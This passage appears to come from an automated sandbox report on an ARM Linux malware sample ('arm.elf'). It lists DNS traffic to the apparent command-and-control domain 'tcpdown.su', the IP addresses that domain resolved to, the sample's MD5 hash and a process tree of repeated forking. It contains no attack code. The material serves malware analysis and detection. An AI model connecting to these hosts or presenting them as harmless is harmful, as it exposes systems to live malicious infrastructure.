Jan 1, 2025 19:27:51.693655968 CET	53	53783	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:51.694309950 CET	46158	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:51.702276945 CET	53	46158	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:51.702920914 CET	35767	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:51.718179941 CET	53	35767	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:51.718903065 CET	35651	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:51.737875938 CET	53	35651	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:51.738477945 CET	50292	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:51.745606899 CET	53	50292	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:51.746252060 CET	34053	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:56.812629938 CET	45327	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:01.815814018 CET	54333	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:06.820499897 CET	51349	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:11.822309971 CET	50119	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.668658972 CET	54829	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.687968969 CET	53	54829	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:18.688679934 CET	48387	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.697601080 CET	53	48387	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:18.698226929 CET	44486	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.706116915 CET	53	44486	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:18.706751108 CET	37335	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.715286016 CET	53	37335	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:18.715876102 CET	37793	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:18.730798006 CET	53	37793	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:18.731453896 CET	60220	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:23.732646942 CET	55747	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:28.736351967 CET	41252	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:33.810048103 CET	50482	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:38.815073967 CET	41649	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.669382095 CET	43857	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.676529884 CET	53	43857	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:45.677393913 CET	58239	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.684326887 CET	53	58239	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:45.685190916 CET	59934	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.692148924 CET	53	59934	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:45.693059921 CET	56786	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.708030939 CET	53	56786	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:45.709117889 CET	40743	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:45.724016905 CET	53	40743	1.1.1.1	192.168.2.23
Jan 1, 2025 19:28:45.724883080 CET	32800	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:50.730046988 CET	36484	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:28:55.735578060 CET	39938	53	192.168.2.23	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 19:26:55.136593103 CET	192.168.2.23	1.1.1.1	0xc5f4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.228065968 CET	192.168.2.23	1.1.1.1	0xf4fb	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.245820999 CET	192.168.2.23	1.1.1.1	0xf4fb	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.259864092 CET	192.168.2.23	1.1.1.1	0xf4fb	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.271462917 CET	192.168.2.23	1.1.1.1	0xf4fb	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.291819096 CET	192.168.2.23	1.1.1.1	0xf4fb	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.136640072 CET	192.168.2.23	1.1.1.1	0x4e06	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.159044981 CET	192.168.2.23	1.1.1.1	0x4e06	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.179969072 CET	192.168.2.23	1.1.1.1	0x4e06	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.192612886 CET	192.168.2.23	1.1.1.1	0x4e06	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.207263947 CET	192.168.2.23	1.1.1.1	0x4e06	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.221803904 CET	192.168.2.23	1.1.1.1	0x6e8a	Standard query (0)	tcpdown.suo. [malformed]	256	498	false
Jan 1, 2025 19:27:02.225425005 CET	192.168.2.23	1.1.1.1	0x6e8a	Standard query (0)	tcpdown.suo. [malformed]	256	502	false
Jan 1, 2025 19:27:07.227760077 CET	192.168.2.23	1.1.1.1	0x6e8a	Standard query (0)	tcpdown.suo. [malformed]	256	509	false
Jan 1, 2025 19:27:12.236684084 CET	192.168.2.23	1.1.1.1	0x6e8a	Standard query (0)	tcpdown.suo. [malformed]	256	257	false
Jan 1, 2025 19:27:17.239196062 CET	192.168.2.23	1.1.1.1	0x6e8a	Standard query (0)	tcpdown.suo. [malformed]	256	262	false
Jan 1, 2025 19:27:24.072220087 CET	192.168.2.23	1.1.1.1	0x6280	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.722098112 CET	192.168.2.23	1.1.1.1	0x6280	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.731723070 CET	192.168.2.23	1.1.1.1	0x6280	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.751868010 CET	192.168.2.23	1.1.1.1	0x6280	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.759797096 CET	192.168.2.23	1.1.1.1	0x6280	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.783409119 CET	192.168.2.23	1.1.1.1	0x9a13	Standard query (0)	tcpdown.suo. [malformed]	256	269	false
Jan 1, 2025 19:27:29.788053036 CET	192.168.2.23	1.1.1.1	0x9a13	Standard query (0)	tcpdown.suo. [malformed]	256	273	false
Jan 1, 2025 19:27:34.791549921 CET	192.168.2.23	1.1.1.1	0x9a13	Standard query (0)	tcpdown.suo. [malformed]	256	283	false
Jan 1, 2025 19:27:39.794759035 CET	192.168.2.23	1.1.1.1	0x9a13	Standard query (0)	tcpdown.suo. [malformed]	256	284	false
Jan 1, 2025 19:27:44.798049927 CET	192.168.2.23	1.1.1.1	0x9a13	Standard query (0)	tcpdown.suo. [malformed]	256	292	false
Jan 1, 2025 19:27:51.640131950 CET	192.168.2.23	1.1.1.1	0x3d60	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.694309950 CET	192.168.2.23	1.1.1.1	0x3d60	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.702920914 CET	192.168.2.23	1.1.1.1	0x3d60	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.718903065 CET	192.168.2.23	1.1.1.1	0x3d60	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.738477945 CET	192.168.2.23	1.1.1.1	0x3d60	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.746252060 CET	192.168.2.23	1.1.1.1	0x9231	Standard query (0)	tcpdown.suo. [malformed]	256	298	false
Jan 1, 2025 19:27:56.812629938 CET	192.168.2.23	1.1.1.1	0x9231	Standard query (0)	tcpdown.suo. [malformed]	256	304	false
Jan 1, 2025 19:28:01.815814018 CET	192.168.2.23	1.1.1.1	0x9231	Standard query (0)	tcpdown.suo. [malformed]	256	309	false
Jan 1, 2025 19:28:06.820499897 CET	192.168.2.23	1.1.1.1	0x9231	Standard query (0)	tcpdown.suo. [malformed]	256	315	false
Jan 1, 2025 19:28:11.822309971 CET	192.168.2.23	1.1.1.1	0x9231	Standard query (0)	tcpdown.suo. [malformed]	256	319	false
Jan 1, 2025 19:28:18.668658972 CET	192.168.2.23	1.1.1.1	0x430f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.688679934 CET	192.168.2.23	1.1.1.1	0x430f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.698226929 CET	192.168.2.23	1.1.1.1	0x430f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.706751108 CET	192.168.2.23	1.1.1.1	0x430f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.715876102 CET	192.168.2.23	1.1.1.1	0x430f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.731453896 CET	192.168.2.23	1.1.1.1	0x8649	Standard query (0)	tcpdown.suo. [malformed]	256	327	false
Jan 1, 2025 19:28:23.732646942 CET	192.168.2.23	1.1.1.1	0x8649	Standard query (0)	tcpdown.suo. [malformed]	256	329	false
Jan 1, 2025 19:28:28.736351967 CET	192.168.2.23	1.1.1.1	0x8649	Standard query (0)	tcpdown.suo. [malformed]	256	337	false
Jan 1, 2025 19:28:33.810048103 CET	192.168.2.23	1.1.1.1	0x8649	Standard query (0)	tcpdown.suo. [malformed]	256	337	false
Jan 1, 2025 19:28:38.815073967 CET	192.168.2.23	1.1.1.1	0x8649	Standard query (0)	tcpdown.suo. [malformed]	256	344	false
Jan 1, 2025 19:28:45.669382095 CET	192.168.2.23	1.1.1.1	0xe9a1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.677393913 CET	192.168.2.23	1.1.1.1	0xe9a1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.685190916 CET	192.168.2.23	1.1.1.1	0xe9a1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.693059921 CET	192.168.2.23	1.1.1.1	0xe9a1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.709117889 CET	192.168.2.23	1.1.1.1	0xe9a1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.724883080 CET	192.168.2.23	1.1.1.1	0x6677	Standard query (0)	tcpdown.suo. [malformed]	256	352	false
Jan 1, 2025 19:28:50.730046988 CET	192.168.2.23	1.1.1.1	0x6677	Standard query (0)	tcpdown.suo. [malformed]	256	359	false
Jan 1, 2025 19:28:55.735578060 CET	192.168.2.23	1.1.1.1	0x6677	Standard query (0)	tcpdown.suo. [malformed]	256	359	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.222951889 CET	1.1.1.1	192.168.2.23	0xc5f4	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.241785049 CET	1.1.1.1	192.168.2.23	0xf4fb	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.254184961 CET	1.1.1.1	192.168.2.23	0xf4fb	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.267119884 CET	1.1.1.1	192.168.2.23	0xf4fb	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.286715984 CET	1.1.1.1	192.168.2.23	0xf4fb	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:55.304621935 CET	1.1.1.1	192.168.2.23	0xf4fb	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.151160955 CET	1.1.1.1	192.168.2.23	0x4e06	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.174571037 CET	1.1.1.1	192.168.2.23	0x4e06	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.187072039 CET	1.1.1.1	192.168.2.23	0x4e06	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.202061892 CET	1.1.1.1	192.168.2.23	0x4e06	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:26:57.215287924 CET	1.1.1.1	192.168.2.23	0x4e06	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.721425056 CET	1.1.1.1	192.168.2.23	0x6280	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.731087923 CET	1.1.1.1	192.168.2.23	0x6280	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.751029015 CET	1.1.1.1	192.168.2.23	0x6280	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.759063959 CET	1.1.1.1	192.168.2.23	0x6280	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:24.782736063 CET	1.1.1.1	192.168.2.23	0x6280	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.693655968 CET	1.1.1.1	192.168.2.23	0x3d60	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.702276945 CET	1.1.1.1	192.168.2.23	0x3d60	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.718179941 CET	1.1.1.1	192.168.2.23	0x3d60	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.737875938 CET	1.1.1.1	192.168.2.23	0x3d60	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:27:51.745606899 CET	1.1.1.1	192.168.2.23	0x3d60	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.687968969 CET	1.1.1.1	192.168.2.23	0x430f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.697601080 CET	1.1.1.1	192.168.2.23	0x430f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.706116915 CET	1.1.1.1	192.168.2.23	0x430f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.715286016 CET	1.1.1.1	192.168.2.23	0x430f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:18.730798006 CET	1.1.1.1	192.168.2.23	0x430f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.676529884 CET	1.1.1.1	192.168.2.23	0xe9a1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.684326887 CET	1.1.1.1	192.168.2.23	0xe9a1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.692148924 CET	1.1.1.1	192.168.2.23	0xe9a1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.708030939 CET	1.1.1.1	192.168.2.23	0xe9a1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 19:28:45.724016905 CET	1.1.1.1	192.168.2.23	0xe9a1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm.elf PID: 6233, Parent PID: 6158

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6237, Parent PID: 6233

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6239, Parent PID: 6237

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6420, Parent PID: 6239

General

Start time (UTC):	18:27:01
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6422, Parent PID: 6239

General

Start time (UTC):	18:27:01
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6428, Parent PID: 6239

General

Start time (UTC):	18:27:02
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6433, Parent PID: 6239

General

Start time (UTC):	18:27:03
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6442, Parent PID: 6239

General

Start time (UTC):	18:27:05
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6444, Parent PID: 6239

General

Start time (UTC):	18:27:05
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6450, Parent PID: 6239

General

Start time (UTC):	18:27:05
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6455, Parent PID: 6239

General

Start time (UTC):	18:27:10
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6461, Parent PID: 6239

General

Start time (UTC):	18:27:10
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6487, Parent PID: 6239

General

Start time (UTC):	18:27:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6490, Parent PID: 6239

General

Start time (UTC):	18:27:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6500, Parent PID: 6239

General

Start time (UTC):	18:27:17
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6506, Parent PID: 6239

General

Start time (UTC):	18:27:20
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6513, Parent PID: 6239

General

Start time (UTC):	18:27:25
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6544, Parent PID: 6239

General

Start time (UTC):	18:27:32
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6546, Parent PID: 6239

General

Start time (UTC):	18:27:32
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6557, Parent PID: 6239

General

Start time (UTC):	18:27:40
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6559, Parent PID: 6239

General

Start time (UTC):	18:27:40
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6568, Parent PID: 6239

General

Start time (UTC):	18:27:47
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6571, Parent PID: 6239

General

Start time (UTC):	18:27:47
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6582, Parent PID: 6239

General

Start time (UTC):	18:27:55
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6584, Parent PID: 6239

General

Start time (UTC):	18:27:55
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6593, Parent PID: 6239

General

Start time (UTC):	18:28:00
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6594, Parent PID: 6239

General

Start time (UTC):	18:28:00
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6605, Parent PID: 6239

General

Start time (UTC):	18:28:05
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6607, Parent PID: 6239

General

Start time (UTC):	18:28:05
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6618, Parent PID: 6239

General

Start time (UTC):	18:28:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6620, Parent PID: 6239

General

Start time (UTC):	18:28:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6630, Parent PID: 6239

General

Start time (UTC):	18:28:25
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6633, Parent PID: 6239

General

Start time (UTC):	18:28:25
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6645, Parent PID: 6239

General

Start time (UTC):	18:28:32
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6649, Parent PID: 6239

General

Start time (UTC):	18:28:33
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6655, Parent PID: 6239

General

Start time (UTC):	18:28:33
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6665, Parent PID: 6239

General

Start time (UTC):	18:28:40
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6667, Parent PID: 6239

General

Start time (UTC):	18:28:40
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6678, Parent PID: 6239

General

Start time (UTC):	18:28:47
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6682, Parent PID: 6239

General

Start time (UTC):	18:28:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6693, Parent PID: 6239

General

Start time (UTC):	18:28:55
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6695, Parent PID: 6239

General

Start time (UTC):	18:28:55
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6241, Parent PID: 6237

General

